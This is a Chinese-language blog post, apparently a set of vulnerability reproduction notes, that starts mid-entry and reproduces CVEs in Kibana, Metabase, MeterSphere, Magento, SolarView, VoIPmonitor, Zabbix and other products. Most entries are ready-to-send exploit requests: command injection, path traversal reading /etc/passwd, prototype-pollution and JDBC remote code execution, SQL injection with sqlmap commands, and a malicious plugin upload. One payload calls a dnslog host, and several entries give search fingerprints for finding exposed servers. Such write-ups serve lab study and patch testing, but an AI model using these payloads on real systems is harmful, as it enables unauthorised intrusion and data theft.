POST /jmreport/queryFieldBySql HTTP/1.1
Host: localhost:8085
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 100

{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"id\")}'" }

可见,id命令已经成功被执行:

image-20240805162621053

kibana

CVE-2018-17246

Kibana Local File Inclusion (CVE-2018-17246)

Kibana 为 Elassticsearch 设计的一款开源的视图工具。其5.6.13到6.4.3之间的版本存在一处文件包含漏洞,通过这个漏洞攻击者可以包含任意服务器上的文件。此时,如果攻击者可以上传一个文件到服务器任意位置,即可执行代码。

参考链接:

环境搭建

启动 Kibana 5.6.12 和 Elasticsearch 5.6.16 环境:

docker compose up -d

环境启动后,访问http://your-ip:5106即可看到Kibana的默认首页。

漏洞复现

直接访问如下URL,来包含文件/etc/passwd

http://your-ip:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd

虽然在返回的数据包里只能查看到一个500的错误信息,但是我们通过执行docker compose logs即可发现,/etc/passwd已经成功被包含:

所以,我们需要从其他途径往服务器上上传代码,再进行包含从而执行任意命令。比如,我们将如下代码上传到服务器的/tmp/vulhub.js

// docker compose exec kibana bash && echo '...code...' > /tmp/vulhub.js
export default {asJson: function() {return require("child_process").execSync("id").toString()}}

成功包含并返回命令执行结果:

image-20240805162747149

CVE-2019-7609

Kibana 原型链污染导致任意代码执行漏洞 (CVE-2019-7609)

Kibana 为 Elassticsearch 设计的一款开源的视图工具。其5.6.15和6.6.1之前的版本中存在一处原型链污染漏洞,利用这个漏洞我们可以在目标服务器上执行任意JavaScript代码。

参考链接:

漏洞环境

启动环境前,需要先在Docker主机上执行如下命令,修改vm.max_map_count配置为262144:

sysctl -w vm.max_map_count=262144

之后,执行如下命令启动Kibana 6.5.4和Elasticsearch 6.8.6:

docker compose up -d

环境启动后,访问http://your-ip:5601即可看到Kibana页面。

漏洞复现

原型链污染发生在“Timeline”页面,我们填入如下Payload:

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("/bin/touch /tmp/success");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

成功后,再访问“Canvas”页面触发命令/bin/touch /tmp/success,可见/tmp/success已成功创建:

image-20240805162817490

magento

2.2-sqli

Magento 2.2 SQL注入漏洞

Magento(麦进斗)是一款新的专业开源电子商务平台,采用php进行开发,使用Zend Framework框架。设计得非常灵活,具有模块化架构体系和丰富的功能。

其prepareSqlCondition函数存在一处二次格式化字符串的bug,导致引入了非预期的单引号,造成SQL注入漏洞。

参考链接:

环境搭建

执行如下命令启动Magento 2.2.7:

docker compose up -d

环境启动后,访问http://your-ip:8080,即可看到Magento的安装页面。安装Magento时,数据库地址填写mysql,账号密码均为root,其他保持默认:

漏洞复现

分别访问如下链接:

  • http://your-ip:8080/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=%3f&ids[0][product_id][to]=)))+OR+(SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+1%3d0)+--+-
  • http://your-ip:8080/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=%3f&ids[0][product_id][to]=)))+OR+(SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+1%3d1)+--+-

可见,在执行))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) -- -))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=0) -- -时,返回的HTTP状态码不同:

通过改变OR的条件,即可实现SQL BOOL型盲注。

利用这个POC,可以读取管理员的session:

image-20240805162852342

metabase

CVE-2021-41277

Metabase任意文件读取漏洞(CVE-2021-41277)

Metabase是一个开源的数据分析平台。在其0.40.0到0.40.4版本中,GeoJSON URL验证功能存在远程文件读取漏洞,未授权的攻击者可以利用这个漏洞读取服务器上的任意文件,包括环境变量等。

参考链接:

环境搭建

执行如下命令启动一个Metabase 0.40.4版本服务器:

docker compose up -d

服务启动后,访问http://your-ip:3000可以查看到Metabase的安装引导页面,我们填写初始账号密码,并且跳过后续的数据库填写的步骤即可完成安装:

漏洞复现

只需要使用CURL即可简单地复现这个漏洞:

curl -v http://your-ip:3000/api/geojson?url=file:////etc/passwd

可见,/etc/passwd已经被成功读取:

image-20240805162938884

CVE-2023-38646

Metabase未授权JDBC远程代码执行漏洞(CVE-2023-38646)

Metabase是一个开源的数据分析平台。在其0.46.6版本及以前,存在一处远程代码执行漏洞,未授权的用户可以使用JDBC注入在服务器上执行任意代码。

参考链接:

漏洞环境

执行如下命令启动一个Metabase server 0.46.6:

docker compose up -d

服务启动后,访问http://your-ip:3000可以查看到Metabase的安装引导页面,我们填写初始账号密码,并且跳过后续的数据库填写的步骤即可完成安装:

漏洞复现

首先,我们需要先访问/api/session/properties来获取Metabase的setup-token

GET /api/session/properties HTTP/1.1
Host: localhost:3000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36
Connection: close
Cache-Control: max-age=0

要利用漏洞,必须要获取这个Token。

接着,将刚才获取的[setup-token]替换进下面这个请求后发送:

POST /api/setup/validate HTTP/1.1
Host: localhost:3000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 739

{
    "token": "[setup-token]",
    "details":
    {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules":
        {},
        "details":
        {
            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;",
            "advanced-options": false,
            "ssl": true,
"init": "CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('touch /tmp/success')\u000A$$"
        },
        "name": "an-sec-research-team",
        "engine": "h2"
    }
}

可见,touch /tmp/success已成功在Metabase容器中执行:

image-20240805163015262

metersphere

CVE-2021-45788

MeterSphere v1.15.4 认证用户SQL注入漏洞(CVE-2021-45788)

MeterSphere是基于GPLv3协议的一站式的开源持续测试平台。在其1.15.4版本及以前,testcase相关API存在一处基于Order by的SQL注入漏洞。

参考链接:

漏洞环境

执行如下命令启动一个MeterSphere 1.15.4服务器:

docker compose up -d

MeterSphere初始化成功后,访问http://your-ip:8081即可跳转到默认登录页面。

漏洞复现

首先,使用账号admin和密码metersphere来登录用户界面。

http://your-ip:8081/#/track/case/all创建一个新的测试用例:

然后,发送如下数据包测试SQL注入漏洞(将其中的csrf token和session id替换成你自己的):

POST /test/case/list/1/10 HTTP/1.1
Host: localhost.lan:8081
Content-Length: 3142
Accept: application/json, text/plain, */*
CSRF-TOKEN: [Your CSRF Token]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,en-US;q=0.7
Cookie: MS_SESSION_ID=[Your Session ID]
Connection: close

{"orders":[{"name":"name","type":",if(1=1,sleep(2),0)"}],"components":[{"key":"name","name":"MsTableSearchInput","label":"commons.name","operator":{"value":"like","options":[{"label":"commons.adv_search.operators.like","value":"like"},{"label":"commons.adv_search.operators.not_like","value":"not like"}]}},{"key":"tags","name":"MsTableSearchInput","label":"commons.tag","operator":{"value":"like","options":[{"label":"commons.adv_search.operators.like","value":"like"},{"label":"commons.adv_search.operators.not_like","value":"not like"}]}},{"key":"module","name":"MsTableSearchInput","label":"test_track.case.module","operator":{"value":"like","options":[{"label":"commons.adv_search.operators.like","value":"like"},{"label":"commons.adv_search.operators.not_like","value":"not like"}]}},{"key":"priority","name":"MsTableSearchSelect","label":"test_track.case.priority","operator":{"options":[{"label":"commons.adv_search.operators.in","value":"in"},{"label":"commons.adv_search.operators.not_in","value":"not in"}]},"options":[{"label":"P0","value":"P0"},{"label":"P1","value":"P1"},{"label":"P2","value":"P2"},{"label":"P3","value":"P3"}],"props":{"multiple":true}},{"key":"createTime","name":"MsTableSearchDateTimePicker","label":"commons.create_time","operator":{"options":[{"label":"commons.adv_search.operators.between","value":"between"},{"label":"commons.adv_search.operators.gt","value":"gt"},{"label":"commons.adv_search.operators.ge","value":"ge"},{"label":"commons.adv_search.operators.lt","value":"lt"},{"label":"commons.adv_search.operators.le","value":"le"},{"label":"commons.adv_search.operators.equals","value":"eq"}]}},{"key":"updateTime","name":"MsTableSearchDateTimePicker","label":"commons.update_time","operator":{"options":[{"label":"commons.adv_search.operators.between","value":"between"},{"label":"commons.adv_search.operators.gt","value":"gt"},{"label":"commons.adv_search.operators.ge","value":"ge"},{"label":"commons.adv_search.operators.lt","value":"lt"},{"label":"commons.adv_search.operators.le","value":"le"},{"label":"commons.adv_search.operators.equals","value":"eq"}]}},{"key":"creator","name":"MsTableSearchSelect","label":"api_test.creator","operator":{"options":[{"label":"commons.adv_search.operators.in","value":"in"},{"label":"commons.adv_search.operators.not_in","value":"not in"},{"label":"commons.adv_search.operators.current_user","value":"current user"}]},"options":{"url":"/user/list","labelKey":"name","valueKey":"id"},"props":{"multiple":true}},{"key":"reviewStatus","name":"MsTableSearchSelect","label":"test_track.review_view.execute_result","operator":{"options":[{"label":"commons.adv_search.operators.in","value":"in"},{"label":"commons.adv_search.operators.not_in","value":"not in"}]},"options":[{"label":"test_track.review.prepare","value":"Prepare"},{"label":"test_track.review.pass","value":"Pass"},{"label":"test_track.review.un_pass","value":"UnPass"}],"props":{"multiple":true}}],"filters":{"reviewStatus":["Prepare","Pass","UnPass"]},"planId":"","nodeIds":[],"selectAll":false,"unSelectIds":[],"selectThisWeedData":false,"selectThisWeedRelevanceData":false,"caseCoverage":null}

可见,成功延时了2秒左右:

使用SQLMap来获取数据库用户信息:

python sqlmap.py -r req.txt --dbms mysql --technique T --prefix , --level 3
python sqlmap.py -r req.txt --dbms mysql --technique T --prefix , --level 3 --current-user

image-20240805163105225

plugin-rce

MeterSphere 插件接口未授权访问及远程代码执行

MeterSphere是基于GPLv3协议的一站式的开源持续测试平台。在其1.16.3版本及以前,插件相关管理功能未授权访问,导致攻击者可以通过上传插件的方式在服务器中执行任意代码。

参考连接:

漏洞环境

执行如下命令启动一个MeterSphere 1.16.3服务器:

docker compose up -d

MeterSphere初始化成功后,访问http://your-ip:8081即可跳转到默认登录页面。

漏洞复现

首先,我们访问http://your-ip:8081/plugin/list可见成功返回插件信息(虽然此时插件为空),说明/plugin/*接口存在未授权访问问题,可以利用。

利用漏洞前,需要准备一个恶意MeterSphere插件。Vulhub提供了一个已经编译好的插件以供测试(请勿在非授权环境下测试)。

将恶意插件使用如下数据包上传:

POST /plugin/add HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJV2KX1EL5qmKWXsd
Content-Length: 11985

------WebKitFormBoundaryJV2KX1EL5qmKWXsd
Content-Disposition: form-data; name="file"; filename="Evil.jar"

[Paste your jar file]
------WebKitFormBoundaryJV2KX1EL5qmKWXsd--

如果使用Burpsuite来复现漏洞,你需要注意数据包编码问题,否则可能将无法复现。

虽然这次上传会返回错误信息,但实际上恶意JAR包已经成功被添加进系统ClassLoader中。

发送如下数据包来执行org.vulhub.Evil类中的恶意代码:

POST /plugin/customMethod HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 89

{
  "entry": "org.vulhub.Evil",
  "request": "id"
}

image-20240805163143121

MKdocs

MKdocs 任意文件读取漏洞 CVE-2021-40978

漏洞描述

MKdocs中存在通过 %2e%2e 来遍历目录,读取敏感文件

漏洞影响

Mkdocs 1.2.2

网络测绘

title=”My Docs”

漏洞复现

主页面

img

验证POC

/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

image-20240811170115015

MLflow

MLflow get-artifact 任意文件读取漏洞 CVE-2023-1177

漏洞描述

使用 MLflow 模型注册表托管 MLflow 开源项目的用户 mlflow server或者 mlflow ui使用早于 MLflow 2.2.1 的 MLflow 版本的命令如果不限制谁可以查询其服务器(例如,通过使用云 VPC、入站请求的 IP 白名单或身份验证 /授权中间件)。

此问题仅影响运行 mlflow server和 mlflow ui命令。 不使用的集成 mlflow server或者 mlflow ui不受影响; 例如,Azure Machine Learning 上的 Databricks Managed MLflow 产品和 MLflow 不使用这些命令,并且不会以任何方式受到这些漏洞的影响。

漏洞影响

MLflow < 2.2.1

网络测绘

app.name=”MLflow”

漏洞复现

登陆页面

img

验证POC

POST /ajax-api/2.0/mlflow/registered-models/create
Content-Type: application/json

{"name": "testfile"}

img

POST /ajax-api/2.0/mlflow/model-versions/create
Content-Type: application/json

{"name": "testfile", "source": "/etc"}

img

/model-versions/get-artifact?path=passwd&name=testfile&version=1

image-20240811170415933

ntopng

CVE-2021-28073

ntopng权限绕过漏洞(CVE-2021-28073)

ntopng是监控服务器网络流量的工具,对外提供Web页面。其4.2及以前的版本中存在一处权限绕过漏洞,利用该漏洞可以未授权访问目标任意接口。

参考链接:

漏洞环境

执行如下命令启动ntopng:

docker compose up -d

环境启动后,访问http://your-ip:3000将被跳转到登录页面,默认密码admin/admin,首次登录将会重设密码。

漏洞复现

根据参考链接中的方法,编写一个简单的poc.py。首先,计算出ntopng lua目录的长度:

python poc.py --url http://your-ip:3000/ baselength

可见,Vulhub靶场中的长度为36。

然后,找到我们想要越权访问的页面或接口,比如/lua/find_prefs.lua,正常访问时会302跳转到登录页面,无权限。

使用POC生成越权访问URL:

python poc.py --url http://your-ip:3000/ generate -l 36 -p find_prefs.lua

访问这个URL,发现可以越权返回正常信息:

后续更深入的利用方法,可以自行修改poc.py利用。

skywalking

8.3.0-sqli

Apache Skywalking 8.3.0 SQL注入漏洞

Apache Skywalking是一款针对分布式系统的应用程序性能监视工具,为微服务,云原生和基于容器(Docker,Kubernetes,Mesos)的体系结构而设计。

在Apache Skywalking 8.3.0版本及以前的GraphQL接口中,存在一处H2 Database SQL注入漏洞。

参考链接:

漏洞环境

执行如下命令启动一个Apache Skywalking 8.3.0版本:

docker compose up -d

环境启动后,访问http://your-ip:8080即可查看Skywalking的页面。

漏洞复现

我们使用graphiql的桌面APP发送如下graphql查询:

可见,SQL语句已经出错,metricName参数的值被拼接到from后面。

这个请求的HTTP数据包为:

POST /graphql HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 336

{
    "query":"query queryLogs($condition: LogQueryCondition) {
  queryLogs(condition: $condition) {
    total
    logs {
      serviceId
      serviceName
      isError
      content
    }
  }
}
",
    "variables":{
        "condition":{
            "metricName":"sqli",
            "state":"ALL",
            "paging":{
                "pageSize":10
            }
        }
    }
}

更加深入的利用,大家可以自行研究,并欢迎将文档提交到Vulhub中。

SpiderFlow

SpiderFlow save 远程命令执行漏洞

漏洞描述

SpiderFlow 平台以流程图的⽅式定义爬⾍,是⼀个⾼度灵活可配置的爬⾍平台

官⽹:https://www.spiderflow.org/

漏洞影响

SpiderFlow

网络测绘

title==”SpiderFlow”

漏洞复现

主页面

img

发送请求包执行命令

POST /function/save

id=&name=cmd&parameter=yw&script=}Java.type('java.lang.Runtime').getRuntime().exec('ping chwd71.dnslog.cn');{

image-20240811195948496

SolarView

CVE-2022-29303

SolarView Compact conf_mail.php 远程命令执行漏洞

漏洞描述

SolarView Compact conf_mail.php 存在远程命令执行漏洞,攻击者通过构造特殊的请求,可以获取服务器权限

漏洞影响

SolarView Compact 6.0

网络测绘

body=”SolarView Compact” && title==”Top”

漏洞复现

主页面

img

验证POC

POST /conf_mail.php
  
mail_address=%3Bid%3B&button=%83%81%81%5B%83%8B%91%97%90M 

image-20240811180459088

CVE-2022-40881

SolarView network_test.php 远程命令执行漏洞

漏洞描述

SolarView network_test.php 存在远程命令执行漏洞,攻击者通过构造特殊的请求,可以获取服务器权限

漏洞影响

SolarView Compact 6.0

网络测绘

body=”SolarView Compact” && title==”Top”

漏洞复现

主页面

img

验证POC

POST /network_test.php
  
host=%0acat${IFS}/etc/passwd%0a&command=ping

image-20240811180528340

VoIPmonitor

CVE-2021-30461

VoIPmonitor 远程命令执行漏洞

漏洞描述

VoIPmonitor是“具有在Linux上运行的SIP RTP和RTCP VoIP协议的具有商业前端的开源网络数据包嗅探器”。

使用通过Web界面到达的用户提供的数据,允许未经身份验证的远程用户触发VoIPmonitor中的远程PHP代码执行漏洞。

漏洞影响

VoIPmonitor < 24.60

网络测绘

“VoIPmonitor”

漏洞复现

登录页面如下

img

index.php文件中的关键代码

$setConfigurationTypeValue_rslt = array();
if(file_exists('config/configuration.php')) {
	$existsConfiguration = true;
	if(isset($_POST['recheck'])) {
		if(!empty($_POST['SPOOLDIR'])) {
			setConfigurationTypeValue__index('SPOOLDIR', $_POST['SPOOLDIR']);
		}
	}

传入参数 recheck 和 SPOOLDIR, 并将SPOOLDIR 写入 config/configuration.php

img

发送如下请求包

POST /index.php HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 49

SPOOLDIR=test%22.system%28id%29.%22&recheck=annen

img

Zabbix

CVE-2022-23131

Zabbix SAML身份绕过漏洞

漏洞描述

Zabbix 是一个非常流行的开源监控平台,用于收集、集中和跟踪整个基础设施中的 CPU 负载和网络流量等指标。它与 Pandora FMS 和 Nagios 等解决方案非常相似。由于其受欢迎程度、功能和在大多数公司网络中的特权地位,Zabbix 是威胁参与者的高调目标。一家公共漏洞经纪人,一家专门从事安全漏洞获取的公司,也公开宣布了他们对该软件的兴趣。

我们在 Zabbix 的客户端会话实现中发现了一个严重漏洞,该漏洞可能导致整个网络遭到破坏。在本文中,我们介绍了不同类型的会话存储,并讨论了实现安全的原因。然后,我们描述了我们在 Zabbix 中发现的漏洞的技术细节、其影响以及如何预防。让我们深入了解它!

漏洞影响

Zabbix

网络测绘

app=”ZABBIX-监控系统” && body=”saml”

漏洞复现

登录页面

img

通过POC获取 zbx_session

img

替换后点击 SAML登录

img

image-20240814105059934


文章作者: 吗喽の小屋
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 吗喽の小屋 !
  目录